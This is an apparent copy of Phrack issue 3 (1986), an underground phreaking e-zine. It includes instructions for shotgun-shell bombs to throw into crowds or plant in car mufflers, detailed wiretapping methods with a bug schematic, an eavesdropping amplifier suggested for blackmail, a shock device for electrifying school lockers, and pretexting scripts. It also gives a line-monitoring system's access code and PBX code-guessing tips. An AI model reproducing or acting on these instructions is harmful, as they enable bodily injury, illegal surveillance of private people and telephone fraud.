8: Building a Shock Rod written by Circle Lord 9: Introduction to PBX's written by Knight Lightning 10: Phreak World News II written by Knight Lightning

If you have an original file that you would like published in a future issue of Phrack Inc. Leave E‑Mail to Taran King, Knight Lightning, or Myself on any system that we are on. If you cannot find us try and contact some member of Metal Shop to get into touch with us.

Later,

Cheap/ \Shades/

Rolm systems

==Phrack Inc.==

Volume One, Issue Three, Phile 2 of 10

The purpose of this file is to tell you what you would be dealing with if you stumble across this system, or if you know of a company that is using this system. It doesn't go into incredible detail, and is lacking in areas. It is not a guide to hacking into it, just letting you know what you would be dealing with. This is to pique your interest in the system.

So What the Hell is ROLM?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ROLM is a "Business Communications System" bought by IBM a few months ago, in an effort to compete effectively with AT&T, and get a larger share of the market, in a grand master plan to become "Big Daddy Blue" as opposed to "Ma Bell". It is a very complex system, with features such as PhoneMail, A Super‑PBX, Local Area Networks, Public and Private Data Networks, Desktop Communications, and Call Management.

The heart of the system is the Controller, called the CBX <Computerized Business Exchange>. This controls the entire network accessible through ROLM. Since 1983, the CBX was redesigned and upgraded to the CBX II. It is a PBX with much much more <See 'Introduction to PBX's' available on your local bbs> to offer, and that is ROLM's claim to fame. It is light years ahead of the regular PBX system.

The CBX II

‑‑‑‑‑‑‑‑‑‑

The CBX II is the core of the ROLM network. It is computer driven and expandable from one node, with 165 channels, to 15 nodes providing 11,5200 2‑way channels. The smaller business could have a model with a 16 user maximum limit, but it can go up to 10,000 users, though this would be quite rare <and quite God Damn expensive!>. It can be accessed from outside lines <like you> as well as HardWired units, with a switching system to prevent busy signals on a port. Speed depends on the system in place, either the newer, faster ROLMbus 295, or the older standard ROLMbus 74. <see Service manuals for exact details> The larger the system, the faster as well. It is adjustable to accept different bandwidths for the various components, such as Telex, Voice, Data, Mainframe, LAN, Video <ta‑da! Picturefones in reality!>, and anything hooked up to the system. Similar tasks can be bunched onto one channel as well, at high or low speeds. If multiplexing is used <above>, the maximum speed is 192,000 bps, and if using a single interface, the top possible rate is a mindboggling 37,000,000 bps, which if you ask me, if just fluff and not too practical, so they are usually multiplexed. <Now, what a difference that is from 300 baud!>. Using the CBX II network, you might find just about any kind of mainframe, from HP, to DEC, to VAX, to the IBM 327 series.

Note : There is a smaller version of this called the VSCBX.

Phone Mail

‑‑‑‑‑‑‑‑‑‑

This is one of the little beauties of the system, something truly fun to fuck with. I called ROLM Headquarters in California to ask specific questions about ROLM, posing as a researcher, and I got the big runaround, transferred from department to department. Maybe you can get further than I. Their is 408‑986‑1000. The to PhoneMail from the outside is 800‑345‑7355. A nice computer‑generated voice comes on asking you to enter your Extension number <which each employee has>, and then enter the "" sign. Then enter your password. If you make around 3 or 4 bad attempts at an Extension of Password, it will automatically ring another number, assistance I assume, to find out why there has been an unsuccessful entry attempt. I haven't played around with this that much, so leave mail to Monty Python with whatever you find. Once entering an authorization with correct password, you will be presented with more options, leave messages to other people, and whatnot. You can hear your messages, forward them to another person, leave the same message to more than one person, change your welcome message, etcetera. The service is for those business‑type pigs who never sit still for one minute, like they are permanently on speed.

A Phone Mail Scenario

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Let's say if Mr. Greed goes out to meet his secretary at a motel, but definitely has to get that important message from Mr. Rasta, who's bringing in $3 mil in Flake, and can't trust it to the person who would handle it <ie: the person filling in for his sec with the tremendous tits who is getting balled by the dirty old fat man>. Mr. Greed would have given Mr. Rasta his phone and he would be forwarded to the Phone Mail network, where he would hear a message left my Mr. Greed, to anyone who would call. Mr. Rasta would leave his message and hang up. Then Mr. Greed could call up the 800‑345‑7355 , punch in his extension authorization number, and password. Or, if he was back at the office, he could get it there through DeskTop communications. Messages can be delivered without error, in the person's own voice, without other people knowing about it. Therefore, someone with enough knowledge could use an unused account and use it as his own service, without the knowledge of others.

DeskTop communications

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ROLM has developed a Computer/Telephone integrated device for use with the Desktop communications. It is linked with the CBX II through fone lines, thus accessible by you and me from the outside. It is not hardwired, though it can approach hardwired speed. If you could get your hands on one of these computer/fones then I think you would have found something very useful at home, in your general life. But you could access the network without the special features of the fone, like one touch dialing, which is designed for the stupid lazy businessman. You can access company databases through the network, mainframes, other people, just about anything as if you were right there and told your secretary to do it for you. There is special software used by the computers or computer/fone but it can be improvised and is just an aid. It uses a special protocol <Don't know what, try to get your hands on one by trashing a sales office>. What is great is that everything is tied together through telefone lines, and not RS‑232C! Thus, there is an access port....somewhere. Scan the 's around the office using ROLM. How do you know if it is using ROLM one way or the other. Compile a list of local businesses, call them up saying "This is ROLM Customer Support. We have a report of a complaint in your CBX II network, let me speak to your supervisor please." If they say "ROLM? CBX II? We don't use that" then just apologize and go elsewhere. Or say that you are from ROLM corp and would like to know if the company is interested in using it to network its system. Like, if they have it already, they would say that they had it. And if they didn't, you would just give them a fake <or if you're nice the for the local sales office obtainable in the list below>.

But you know what's REALLY Great? They have made the network link in mind for the person with a Computer IQ of about 0. Commands are in plain English. Here is a demonstration screen as seen in their brochure: CALL, DISPLAY or MODIFY

Display groups

ACCESSIBLE GROUPS:

[00] PAYROLL [01] MODEM [02] IBMHOST [03] DOWJONES [04] DECSYSTM [05] MIS‑SYSTM [06] DALLAS [07] SALES

CALL, DISPLAY OR MODIFY?

Call Payroll

CALLING 7717 <which would be the ID code for the PAYROLL file> CALL COMPLETE

**PAYROLL SYSTEM** <or whatever they want to call it> ENTER ACCOUNT CODE:

See, nothing is confusing, everything pretty self‑explanatory. There may be more than one person wanting to do the same thing you are, so if there is, you would be put on a queue for the task. It seems that those with an IBM would be best suited for ROLM hacking, because ROLM is owned by IBM, and the PC's used by the network are IBM. A person with a simpler fone/Terminal couldn't access something like their DEC mainframe, or something like that. By calling in, you could not run an application, unless you had a special interface, but you could access the database, which any dumb terminal could do. However, there are security levels. Thus one with a privileged account could access more things than one without it. Like Joe Schmoe in Sales couldn't get to Payroll . It seems that for non‑IBM's to access some of the parts of the network, you would need an interface to become the same thing as a RolmPhone. Excessive 's of bad logon attempts, which would be construed as a linking error would notify the network manager, And if they saw that there was no hardware error, eventually, they would think of if they were somewhat experienced, you guessed it, hackers.

The PBX

‑‑‑‑‑‑‑

ROLM has something called Integrated Call Management <from here on known as ICM>. Now, when designing ICM, they must have taken into account the abuse possible in plain ol' PBX's. So they put in something called Call Screening. This will enable the company to restrict calls to certain 's and prefixes. Calls to non‑business 's or certain areas can be screened out <"No personal calls on my time, Johnson!">, with the exception of 1 specific that you want. There is a choice of having a codeless, screened PBX, or a PBX where accounts are assigned to each employee, and the 's they call get recorded to that account. There can be privileged accounts where a large volume of calls would go relatively un‑noticed. But I don't think that large‑scale abuse of this system would be easy or practical. Calls are routed AUTOMATICALLY through the service where the rates are cheaper to the location dialed, which is pretty fucking cool. And, the PBX is accessible from the outside, using Direct Inward System Access, making it AB‑useable.

But what about if there is Equal Access in that area? It doesn't matter, the CBX will automatically access the service without you having to worry about it <hell, this is totally unnecessary for a hack/phreak, cause we ain't paying for the damn call anyhow!>

BUT!: There is a use of Call Detail Recording, where information on all ingoing and outgoing calls are recorded.

Conclusion

‑‑‑‑‑‑‑‑‑‑

Not a lot of research went into this file, but it did take a little while to type up, and all of the information is correct, to my knowledge. Anyone is free to expand on this file into a Part II. It was written to enlighten people about this system, and I hope this has helped a little bit. Sysops: You are free to put this file up as long as NONE of the credits are changed! <this means the Phrack, Inc. AND Personal credits>. Please give us a chance.

Coming soon, to a telephone near you: The Return of The Flying Circus. Look for it.

‑‑Later On

Monty Python <01/11/86>

Making shell bombs

==Phrack Inc.==

Volume One, Issue Three, Phile 3 of 10

////////////////////\

::::

:::: "SHOTGUN SHELL BOMBS" ::::

:::: from ::::

:::: The Poor Man's James Bond ::::

:::: by Kurt Saxon ::::

::::

:::: typed in by ‑‑] Man‑Tooth [‑‑ ::::

::::

\\\\\\\\\\\\\\\\\\\\/

These little goodies are affectionately known as "nut busters." They are simply shotgun shells enclosed in cardboard rolls with cardboard fins put on. On the primer end of the shell is glued a small cork with a hole drilled through it. A roofing nail fits in the hole snugly enough to stay in, but loose enough to plunge into the primer upon impact.

Since the shell is not confined in the chamber of the gun, it will naturally not cause the same amount of damage. But if it goes off between a fellow's legs he can look forward to becoming a soprano.

These bombs are thrown singly or by the handful into the air over milling crowds. The weight of the shell and stabilization by the fins causes the nut buster to head straight downward.

It has tremendous effect as its presence is usually a suprise. The threat of more coming is guaranteed to route any mob.

Not only does it go off on the pavement but it will also explode on contact with a person's head or shoulder. At night it is impossible to trace its point of origin.

‑‑‑‑‑

! \

/> ! \ Cork

Fins ! ! v

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑!\

! \ ! !‑‑‑‑‑! ! \

! \> !‑‑‑‑‑‑ ! ! !‑‑Roofing nail

! ! !‑‑‑‑‑! ! /

\ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑!/

\ ! ! ^

\‑> ! / ^ \

! / ! \

‑‑‑‑‑ ! Shell

!

!

Close fitting 3‑1/2 inch Aluminum Tubing Glued on Shell.

SHOTGUN SHELL BOMB

A clever use for a plain shotgun shell is as a muffler bomb. The shell is simply shoved up a car's exhaust pipe with a length of stiff wire until it drops into the muffler. After a few minutes on the road the shell explodes, totalling out the muffler and treating the driver to a sick kind of panic.

Signalling systems around the world

==Phrack Inc.==

Volume One, Issue Three, Phile 4 of 10

Signalling Systems Around the World

For those of you who have the desire to make international calls, this info may be of interest. Thanks to TAP and Nick Haflinger.

CCITT 1. An old international system, now deceased. Used a 500 Hz tone interrupted at 20 Hz (Ring) for 1‑way line signals.

CCITT 2. Proposed "International Standard" that never caught on much. Used 600 Hz interrupted by 750 Hz. Still used in Australia, New Zealand and South Africa.

CCITT 3. An early in‑band system that uses 2280 for both line and register (!!). Used in France, Austria, Poland and Hungary.

CCITT 4 A variation of 3, but uses 2040 and 2400 for end to end Tx of line and register. Used for international Traffic in Europe, but cannot be used with TASI (AKA Multiplex or "that dammed clipping").

CCITT 5 This is the most popular, and the one used in the US. 2400 and the infamous 2600 are used for link to link (not merely end to end line signals. Registers are handled via DTMF (Touchtones). Anyone know what 2400 does??

CCITT 5 bis. Just like above, but a 1850 Hz tone is used for TASI locking and transmission of line signals.

CCITT 6 The newest and worst for phreaks. It uses digital data sent out‑of‑band to control the connection. In other words, the connection is made and billing started BEFORE you can get control.

CCITT 5R1 A regional system like 5, but doesn't use the mysterious 2400 and can't use the multiplexer.

CCITT 5R2 Probably the interface to AUTOVON, as it uses 120 Hz spaced tones for DTMF instead of 200. Also 3825 Hz is the blow‑off tone instead of 2600.

The "Extra" tones

1700 + 700 = Inward Operator

1700 + 900 = Delay operator, also, in TSPS,STP (a "Zero Plus" call from a coin phone)

1700 + 1100= KP1 (Start recognition of special tones)

1300 + 1700= KP2 (End recognition of special tones)

12‑85 Data Line. CIS 72767,3207: TWX 650‑240‑6356

Private audience

==Phrack Inc.==

Volume One, Issue Three, Phile 5 of 10

* PRIVATE AUDIENCE *

(A BASIC LESSON IN THE ART OF LISTENING IN)

BROUGHT TO YOU BY

‑[ THE OVERLORD ]

‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=

PART I: THE LAW

Federal law:

Section 605 of title 47 of the U.S code, forbids interception of communication, or divulagance of intercepted communication except by persons outlined in section 119 of title 18 (a portion of the Omnibus crime control and safe streets act of 1968). This act states that "It shall not be unlawful under this act for an operator of a switchboard, or an officer, employee, or agent of any communication common carrier who's switching system is used in the transmission of a wire communication to intercept or disclose intercepted communication."

What all this legal bullshit is saying is that if you don't work for a phone company then you can't go around tapping people's lines. If you decide to anyway, and get caught, it could cost you up to 5 years of your life and $10,000. This, you are all assuming, means that if you tap someone else's line, you will be punished....wrong! You can't tap your own line either. The punishment for this is probably no more than a slap on the hand, that is if they actually catch you, but it's a good thing to know..............now on to the fun.....

PART II: TAPPING

Everyone has at some time wanted to hear what a friend, the principal, the prom queen, or a neighbor has to say on the phone. There are several easy ways to tap into a phone line. None of the methods that I present will involve actually entering the house. You can do everything from the backyard. I will discuss four methods of tapping a line. They go in order of increasing difficulty.

1. The "beige box": a beige box (or bud box) is actually better known as a "lineman" phone. They are terribly simple to construct, and are basically the easiest method to use. They consist of nothing more than a phone with the modular plug that goes into the wall cut off, and two alligator clips attached to the red and green wires. The way to use this box, is to venture into the yard of the person you want to tap, and put it onto his line. This is best done at the bell phone box that is usually next to the gas meter. It should only have one screw holding it shut, and is very easily opened. Once you are in, you should see 4 screws with wires attached to them. If the house has one line, then clip the red lead to the first screw, and the green to the second. You are then on the "tappee's" phone. You will hear any conversation going on. I strongly recommend that you remove the speaker from the phone that you're using so the "tappee" can't hear every sound you make. If the house has two lines, then the second line is on screws three and four. If you connect everything right, but you don't get on the line, then you probably have the wires backward. Switch the red to the second screw and the green to the first. If no conversation is going on, you may realize that you can't tap the phone very well because you don't want to sit there all night, and if you are on the phone, then the poor tappee can't dial out, and that could be bad...so....... method two.

2. The recorder: This method is probably the most widespread, and you still don't have to be a genius to do it. There are LOTS of ways to tape conversations. The two easiest are either to put a "telephone induction pickup" (Radio Shack $1.99) on the beige box you were using, then plugging it into the microphone jack of a small tape recorder, and leaving it on record. Or plugging the recorder right into the line. This can be done by taking a walkman plug, and cutting off the earphones, then pick one of the two earphone wires, and strip it. There should be another wire inside the one you just stripped. Strip that one too, and attach alligators to them. Then follow the beige box instructions to tape the conversation. In order to save tape, you may want to use a voice activated recorder (Radio Shack $59), or if your recorder has a "remote" jack, you can get a "telephone recorder control" at Radio shack shack for $19 that turns the recorder on when the phone is on, and off when the phone is off. This little box plugs right into the wall (modularly of course), so it is best NOT to remove the modular plug for it. Work around it if you can. If not, then just do you best to get a good connection. When recording, it is good to keep your recorder hidden from sight (in the Bell box if possible), but in a place easy enough to change tapes from.

3. The wireless microphone: this is the BUG. It transmits a signal from the phone to the radio (FM band). You may remember Mr. Microphone (from Kaytel fame); these wireless microphones are available from Radio Shack for $19. They are easy to build and easy to hook up. There are so many different models, that is is almost impossible to tell you exactly what to do. The most common thing to do is to cut off the microphone element, and attach these two wires to screws one and two. The line MIGHT, depending on the brand, be "permanently off hook". This is bad, but by phucking around with it for a while, you should get it working. There are two drawbacks to using this method. One, is that the poor asshole who is getting his phone tapped might hear himself on "FM 88, the principal connection". The second problem is the range. The store bought transmitters have a VERY short range. I suggest that you build the customized version I will present in part four (it's cheaper too). Now on to the best of all the methods....

4. The "easy‑talks": This method combines all the best aspects of all the the other methods. It only has one drawback... You need a set of "Easy‑talk" walkie talkies. They are voice activated, and cost about $59. You can find 'em at toy stores, and "hi‑tech" catalogs. I think that any voice activated walkie talkies will work, but I have only tried the easy‑talks. First, you have to decide on one for the "transmitter" and one for the "receiver". It is best to use the one with the strongest transmission to transmit, even though it may receive better also. De‑solder the speaker of the "transmitter", and the microphone of the "receiver". Now, go to the box. put the walkie talkie on "VOX" and hook the microphone leads (as in method three) to the first and second screws in the box. Now go home, and listen on your walkie talkie. If nothing happens, then the phone signal wasn't strong enough to "activate" the transmission. If this happens, there are two things you can do. One, add some ground lines to the microphone plugs. This is the most inconspicuous, but if it doesn't work then you need an amplifier, like a walkman with two earphone plugs. Put the first plug on the line, and then into one of the jacks. Then turn the volume all the way up (w/out pressing play). Next connect the second earphone plug to the mice wires, and into the second earphone outlet on the walkman. Now put the whole mess in the box, and lock it up. This should do the trick. It gives you a private radio station to listen to them on: you can turn it off when something boring comes on, and you can tape off the walkie talkie speaker that you have!

PART IV: WIRELESS TRANSMITTER PLANZ

This is a tiny transmitter that consists on a one colpitts oscillator that derives it's power from the phone line. Since the resistance it puts on the line is less than 100 ohms, it has no effect on the telephone performance, and can not be detected by the phone company, or the tappee. Since it is a low‑powered device using no antenna for radiation, it is legal to the FCC. (That is it complies with part 15 of the FCC rules and regulations). It, however is still illegal to do, it's just that what you're using to do it is legal. This is explained later in part 15... "no person shall use such a device for eavesdropping unless authorized by all parties of the conversation" (then it's not eavesdropping is it?). What this thing does, is use four diodes to form a "bridge rectifier". It produces a varying dc voltage varying with the auto‑signals on the line. That voltage is used to supply the the voltage for the oscillator transistor. Which is connected to a radio circuit. From there, you can tune it to any channel you want. The rest will all be explained in a minute....

PARTS LIST

item | description

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

C1 | 47‑Pf ceramic disk capacitor

C2,C3 | 27‑Pf mica capacitor

CR1,CR2,CR3,CR4 | germanium diode 1n90 or equivalent

R1 | 100 ohm, 1/4 watt 10% composition resistor R2 | 10k, 1/4 watt 10% composition resistor

R3 | .7k, 1/4 watt 10% composition resistor

L1 | 2 uH radio frequency choke (see text)

L2 | 5 turns No.20 wire (see text)

Q1 | Npn rf transistor 2N5179 or equivalent

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

L1 may be constructed by winding approximately 40 turns of No. 36 enamel wire on a mega‑ohm, 1/2 watt resistor. The value of L1 is not critical. L2 can be made by wrapping 5 turns of No. 20 wire around a 1/4 inch form. After the wire is wrapped, the form can

be removed. Just solder it into place on the circuit board. It should hold quite nicely. Also be sure to position Q1 so that the emitter, base, and collector are in the proper holes. The schematic should be pretty easy to follow. Although it has an unusual number of grounds, it still works.

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑L1‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

‑‑

CR1 / \ CR2 |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

A‑‑‑‑‑‑‑‑‑‑‑‑‑‑/ \ ‑‑| ‑‑‑‑|

| \ / | | | C2 L2

| CR3 \ /CR4 | C1 R2 |‑‑‑‑| |

R1 ‑‑ | | | gnd C3 |

| | | ‑‑‑‑|

| gnd | | |

| | |‑Base collector

| | R3 \ /

B‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| Q1

gnd \/

emitter(gnd)

The odd thing about this bug that we haven't encountered yet, is that it is put on only one wire (either red or green) so go to the box, remove the red wire that was ALREADY on screw

1 and attach it to wire 'A' of the bug. Then attach

wire 'B' to the screw itself. You can adjust the frequency which it comes out on the FM channel by either smooshing, or widening the coils of L2. It takes a few minutes to get to work right, but it is also very versatile. You can change the frequency at will, and you can easily record off your radio.

PART FIVE: HELPFUL HINTS

First of all, With method one, the beige box, you may notice that you can also dial out on the phone you use. I don't recommend that you do this. If you decide to anyway, and do something conspicuous like set up a 30 person conference for three hours, then I suggest that you make sure the people are either out of town or dead. In general, when you tap a line, you must be careful. I test everything I make on my line first, then install it late at night. I would not recommend that you leave a recorder on all day. Put it on when you want it going, and take it off when you're done. As far as recording goes, I think that if there is a recorder on the line it sends a sporadic beep back to the phone co. I know that if you don't record directly off the line (i.e off your radio) then even the most sophisticated equipment can't tell that you're recording. Also, make sure that when you install something, the people are NOT on the line. Installation tends to make lots of scratchy sounds, clicks and static. It is generally a good thing to avoid. It doesn't take too much intelligence to just make a call to the house before you go to install the thing. If it's busy then wait a while. (This of course does not apply if you are making a "midnight run").

All in all, if you use common sense, and are *VERY* careful, chances are you won't get caught. Never think that you're unstoppable, and don't broadcast what you're doing. Keep it to yourself, and you can have a great time.

‑[ OVERLORD ]‑

THANKS TO:

The CircleLord

TARAN KING

Knight Lightning

The Forest Ranger

P‑80 systems

Watch for more advanced tapping, how they catch you, and verification in the near future.

Fortell systems

==Phrack Inc.==

Volume One, Issue Three, Phile 6 of 10

Fortell Systems

Written by Phantom Phreaker

Call The Alliance at 618‑667‑3825

Fortell systems seem to be a system to monitor lines. They can only be used to monitor lines within their own NPA.

A Fortell system is at 716‑955‑7750. Whene you call, you will hear:

'Hello. This is the Taradyne Fortell system. Please enter ID code'

The ID for this system is 722877*. After you type that in (DTMF) it will ask 'please enter line number' where you then type the PRE+SUFF of the number you wish to check within the NPA of the Fortell.

After you enter a number, it will repeat the number you entered. Now it will ask you to 'please enter mode'.

The modes are:

1‑Calling on other line

2‑Calling on test line

3‑Line test results

If you enter mode 1, you will have these commands available:

1‑Fault location

2‑Other testing

7‑Test ok, Monitor

8‑Hang up

9‑Enter next line number

If you enter 7 here, it will repeat what you selected, and ask for an ID code which can be any 6 digit number followed by a *.

Now it will dial and tell you:

'Subscriber busy‑busy‑monitor test in progress conversation on line‑short on line'

2‑Monitor test

3‑Overide and test

4‑Wait for idle

If you enter 2, (Monitor Test) it will tell you the busy status again.

If you enter 3, it will override, or tell you 'Not available in this CO'.

If you enter 4, (Wait for idle) it will wait until the line is idle.

If you enter 1 (Fault Location) at the main list you will get these options:

1‑Open location

3‑Short location

4‑Cross location

5‑Ground location

8‑Hang up

If you enter 2 (Other testing) here, you will have these commands:

2‑Loop Ground OHMS

3‑Dial tone test

5‑Pair ID

8‑Hang up

If you enter Mode 2, you will have these options:(Other testing)

2‑Other testing

7‑Test ok, Monitor

8‑Hang up

9‑Enter next line number

It will repeat what you selected. If you select 2 here, you will now have these commands:

2‑Loop Ground Omhs

8‑Hang up

If you select 7 at the main list after mode 2, it will ask for an ID which is any 6 digit number followed by a *. Now it will dial and check the number. If the number is busy, it will say 'Subcriber busy‑monitor‑test in progressconversation on line‑short on line‑please hang up‑waiting for idle' Now you can just type * to go back to the main list of commands.

If you enter MODE 3, if you have done a test before, it will give you the results of the test. If you haven't done a test, it will tell you so with 'No test results available'

You can abort back to the main commands list by typing a *.

By typing a 9 at several places you will be taken back to the beginning where it asks you to 'enter line number'

PP‑01/06/86

Eavesdropping

==Phrack Inc.==

Volume One, Issue Three, Phile 7 of 10

********************************

*

* Electronic Eavesdropper *

*

* by

*

* Circle Lord *

*

********************************

Have you ever considered buying one of those hi powered microphones often seen in eletronics magazines, but thought it was to much to buy and to small to card? The circuit shown in this file will provide you with the information to build one for a lot less money.

These audio eavesdropping devices are probably one of the hottest items in the underground due to their ability to pick up voices through thick walls. You can also attach the speaker wires to a tape recorder and save all the conversation. As one can see these are great for blackmailing a teacher, classmate, principal, neighbor, or whoever you seek services from...

Parts list:

‑=EM‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

M1 Amplifier Module. (Lafayette 99C9037 or equiv.)

M2 9‑VDC battery.

M3 Microphone

R1 20K poteniometer with spst switch.

S1 Spst switch on R1

SP1 8‑ohm speaker

T1 Audio transformer (Radio Crap part 273‑1380)

Schematics

+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑M1

1 1 1 1 1red 1blu 1 1 1 1 transformer 1 1 1 1 1yel 1grn

+‑‑‑‑‑‑+ 1

1 +‑‑‑‑‑+ +‑‑‑‑‑+

1 1 1 1

b1 b1 r+M2+b o+S1+o 1

l1 l1 e1 1l r1 1r 1

k1 u1 d1 1k g1 1g 1

************1

* yel>*‑+ ++

* R 1

* M1 * 1‑+ 1

* red>*‑+ 1 1

* 1<<

*************1

b1 1g y1 1 l1 1r e1 1 k1 1y l1 1

1 1 +‑‑‑‑‑‑‑‑‑‑+

+SP1+

S1 here is on the potentiometer

M3 can be an earphone earpiece

‑‑‑‑

/

/

/ ircle / ord

‑‑‑‑

Building a Shock Rod

==Phrack Inc.==

Volume One, Issue Three, Phile 8 of 10

********************************

*

* Making a Shock Rod *

*

* By *

*

* Circle Lord *

*

********************************

This handy little circuit is the key to generating THOUSANDS of volts of electricity for warding off attackers (notice the plural). It generates it all from a hefty 6‑volt source and is easily fit into a tubular casing. Originally used as a fence charger, this circuit can be put to other uses such as: charging a whole row of lockers at school, a row of theater seats, or a metal bleacher set in the gym. More on this later.

To build this, all you need is a GE‑3 transistor, a 6.3‑volt transformer, and a handful of spare parts from old radios. The ammount of shock you wish to generate is determined by the setting of potentiometer R1, a 15,000 ohm variable resistor. Hint: for maximum shock, set R1 at maximum!

****************************************

Item * Description

****************************************

C1 * 500uF, 10‑WVDC electrolytic capacitor

C2 * 2000uF, 15‑WVDC electrolytic capacitor

M1 * 6‑VDC battery

M2,M3 * Leads

Q1 * GE‑3 transistor (2n555 will also do)

R1 * 15K potentiometer

R2 * 160‑ohm resistor

S1 * Spst switch

T1 * 6.3‑VAC filament transformer (Triad F‑14x or equiv.) X1 * 1N540 diode

****************************************

Schematics:

+‑‑‑C1‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

1 1 HOT 1 +‑‑‑‑‑+ 1 LEAD

+‑‑‑1<Q1 1 )(‑‑>

R1* + 1 +‑‑‑>)(

+‑‑>* 1 1 1 )(

1 * +‑‑+ 1 1 )(‑‑> 1 1 1 1 1 1 1 TO 1 1 1 1 1 1 1 GND 1 * C2 1 +‑‑‑1‑‑‑‑+ 1 R2 1 1 1 1 1 * 1 1 1 X1 1

+‑‑‑+‑‑+‑‑1‑‑‑‑‑‑‑‑‑1‑‑>‑+

1 +/‑ 1 1

+*M1*‑*S1*+ GND

‑‑‑‑ /

/ /

/ /

/ ircle / ord

‑‑‑‑ ‑‑‑‑

Introduction to PBX's

==Phrack Inc.==

Volume One, Issue Three, Phile 9 of 10

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

@ _ _

@ | \/ |

@ |_||_|etal / /hop @

@ ______

@ /______

@ PRIVATE @

@

@ Presents... @

@

@ \\\\\=‑{ Knight Lightning's }‑=///// @

@

@ "Introduction to PBXs" @

@

@

@ Written on January 3, 1986 @

@

@

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

This file is a personal continuation of the PBX entry in the MCI Telecommunications Glossary.

________________________________________

A telephone exchange serving an individual organization and having connections to a public telephone exchange is called a Private Branch Exchange (PBX). The PBX performs a switching function by connecting any extension in the private organization to an outside line. A PBX is actually a private switch that connects a group of telephones within an individual organization. Calls placed outside this individual group are connected to a telephone company's central office switch through trunks. A PBX may be operated by an attendant from the private organization or the switching system may be done automatically. Other terms that are commonly used interchangeably with PBX are: Private Automatic Branch Exchange (PABX), Private Automatic Exchange (PAX), and Computerized Branch Exchange (CBX). Although these terms were originally used to identify specific switch structures, today they are often used as synonyms.

PBXs can use any of three basic switching methods: step‑by‑step (SxS), Cross‑bar (X‑bar), and computer controlled, to perform the basic function of switching. However, in addition to detecting calls and establishing a transmission link between two telephones, PBXs can do much more.

The common control, often called a central processing unit (CPU), controls the switching matrix that connects the stations and trunks. The switching matrix of a PBX performs the same job as does an operator at a manual switchboard or a common control central office switch. The CPU, however, gets its instructions from the "stored program", which contains directions for activities, such as detecting calls, sending them over the best available route, and recording billing information. These computerized electronic switches are used to perform routine, as well as unique, functions that simply weren't practical or even possible with electromechanical switches.

Just as in the public switched network, PBX switches make connection between instruments, or "key telephone sets". We're all familiar with key telephone sets, whether we know them by name or not. They're the business telephones that have six push‑button keys lined up below the dial‑‑a red button marked "hold" and five buttons or lines with flashing lights.

Systems with PBXs and key sets have a great deal of flexability in planning for their needs because they can set up their codes to accomplish the functions needed in their particular situations. In fact, the PBX can be programmed so that each individual extension within a system can take advantage of features applicable to its own business needs.

Some of the features that are availiable with PBXs and key systems are: call transfer, which allows internal or external calls to be transferred from one telephone to any other phone in the system; automatic push‑button signaling, which indicates the status of all phones in the system with display lights and buttons; one‑way voice paging, which can be answered by dialing the operator from the nearest telephone in the system; camp‑on, in which a call made to a busy phone automatically waits until the line is idle; and internal and external conference capabilities, which enables outside callers to conference with several inside users.

Some features automatically handle incoming telephone calls. Automatic call waiting not only holds calls made to a busy extension until the extension is free, but also signals the person being called that a call is waiting and informs the caller that he is on hold. Automatic call forwarding will send calls to employees who are temporarily in locations other than their offices, provided they "inform" the PBX where they can be found. Automatic call distribution automatically send an incoming call to the first extension that's not busy‑‑a useful feature for situations in which any one of a group of persons in the organization can adequately respond to incoming calls. Another example is automatic call back, which allows a caller who reaches a busy line to ask the PBX to return his or her call when the line is free.

Still other features provide services such as night telelphone answering, telephone traffic monitoring, and network or hot‑line connection. These examples are but a sample from the features possible with computerized PBXs.

========================================

This is a very brief description of how to use and what to expect on a PBX.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Basically, you call the PBX and you will have to enter a code that can be anywhere from 4 to 6 digits (Note: some PBXs do not require codes). Then you will hear a dial tone. From here you would under normal circumstances dial: 9 + 1 (or 0) + NPA‑PRE‑SUFF, for long distance dialing or dial 8 for local dialing.

The most common use of the PBX is to call Alliance Teleconferencing, a teleconference service offered by AT&T. To do this dial: 0700‑456‑1000,1002,1003,2000,2001,2002.

Note: PBX codes are usually very simple and usually 4 digits.

EX: 0000, 1111, 1234, etc

========================================

Look for a file on Alliance Teleconferencing coming soon...

________________________________________

This has been a Knight Lightning presentation...

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

Phrack Issue(03), Number(10)

==Phrack Inc.==

Volume One, Issue Three, Phile 10 of 10

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Phreak World News II

Compiled by

\\\\\=‑{ Knight Lightning }‑=/////

________________________________________

Retraction

‑‑‑‑‑‑‑‑‑‑

We at Phrack Inc, respectfully retract all statements made in last issue concerning Stronghold East Elite and the LOD. We are sorry for any inconvenience this may have caused you.

________________________________________

Phreaks Against Geeks

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

